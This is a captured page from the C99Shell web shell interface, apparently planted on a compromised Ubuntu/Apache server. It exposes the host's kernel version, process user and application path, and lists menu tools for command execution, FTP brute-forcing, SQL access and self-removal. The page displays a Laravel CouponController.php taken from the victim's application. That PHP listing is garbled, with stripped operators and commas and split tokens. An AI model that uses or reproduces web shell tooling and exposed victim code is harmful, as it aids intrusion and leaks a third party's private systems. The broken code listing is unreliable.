!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/app/Http/Controllers/   drwxrwxr-x
Free 13.01 GB of 57.97 GB (22.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CouponController.php (6.73 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Coupon;
use 
App\Models\Plan;
use 
App\Models\UserCoupon;
use 
Illuminate\Http\Request;

class 
CouponController extends Controller
{

    public function 
index()
    {
        if(
\Auth::user()->can('manage coupon'))
        {
            
$coupons Coupon::get();

            return 
view('coupon.index'compact('coupons'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
create()
    {
        if(
\Auth::user()->can('create coupon'))
        {
            return 
view('coupon.create');
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
store(Request $request)
    {
        if(
\Auth::user()->can('create coupon'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                   
'name' => 'required',
                                   
'discount' => 'required|numeric',
                                   
'limit' => 'required|numeric',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            if(empty(
$request->manualCode) && empty($request->autoCode))
            {
                return 
redirect()->back()->with('error''Coupon code is required');
            }
            
$coupon           = new Coupon();
            
$coupon->name     $request->name;
            
$coupon->discount $request->discount;
            
$coupon->limit    $request->limit;

            if(!empty(
$request->manualCode))
            {
                
$coupon->code strtoupper($request->manualCode);
            }

            if(!empty(
$request->autoCode))
            {
                
$coupon->code $request->autoCode;
            }

            
$coupon->save();

            return 
redirect()->route('coupons.index')->with('success'__('Coupon successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
show(Coupon $coupon)
    {
        
$userCoupons UserCoupon::where('coupon'$coupon->id)->get();

        return 
view('coupon.view'compact('userCoupons'));
    }


    public function 
edit(Coupon $coupon)
    {
        if(
\Auth::user()->can('edit coupon'))
        {
            return 
view('coupon.edit'compact('coupon'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
update(Request $requestCoupon $coupon)
    {
        if(
\Auth::user()->can('edit coupon'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                   
'name' => 'required',
                                   
'discount' => 'required|numeric',
                                   
'limit' => 'required|numeric',
                                   
'code' => 'required',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$coupon           Coupon::find($coupon->id);
            
$coupon->name     $request->name;
            
$coupon->discount $request->discount;
            
$coupon->limit    $request->limit;
            
$coupon->code     $request->code;

            
$coupon->save();

            return 
redirect()->route('coupons.index')->with('success'__('Coupon successfully updated.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
destroy(Coupon $coupon)
    {
        if(
\Auth::user()->can('delete coupon'))
        {
            
$coupon->delete();

            return 
redirect()->route('coupons.index')->with('success'__('Coupon successfully deleted.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
applyCoupon(Request $request)
    {

        
$plan Plan::find(\Illuminate\Support\Facades\Crypt::decrypt($request->plan_id));
        if(
$plan && $request->coupon != '')
        {
            
$original_price self::formatPrice($plan->price);
            
$coupons        Coupon::where('code'strtoupper($request->coupon))->where('is_active''1')->first();
            if(!empty(
$coupons))
            {
                
$usedCoupun $coupons->used_coupon();
                if(
$coupons->limit == $usedCoupun)
                {
                    return 
response()->json(
                        [
                            
'is_success' => false,
                            
'final_price' => $original_price,
                            
'price' => number_format($plan->price\Utility::getValByName('decimal_number')),
                            
'message' => __('This coupon code has expired.'),
                        ]
                    );
                }
                else
                {
                    
$discount_value = ($plan->price 100) * $coupons->discount;
                    
$plan_price     $plan->price $discount_value;
                    
$price          self::formatPrice($plan->price $discount_value);
                    
$discount_value '-' self::formatPrice($discount_value);

                    return 
response()->json(
                        [
                            
'is_success' => true,
                            
'discount_price' => $discount_value,
                            
'final_price' => $price,
                            
'price' => number_format($plan_price\Utility::getValByName('decimal_number')),
                            
'message' => __('Coupon code has applied successfully.'),
                        ]
                    );
                }
            }
            else
            {
                return 
response()->json(
                    [
                        
'is_success' => false,
                        
'final_price' => $original_price,
                        
'price' => number_format($plan->price\Utility::getValByName('decimal_number')),
                        
'message' => __('This coupon code is invalid or has expired.'),
                    ]
                );
            }
        }
    }

    public function 
formatPrice($price)
    {
        return 
env('CURRENCY_SYMBOL') . number_format($price\Utility::getValByName('decimal_number'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--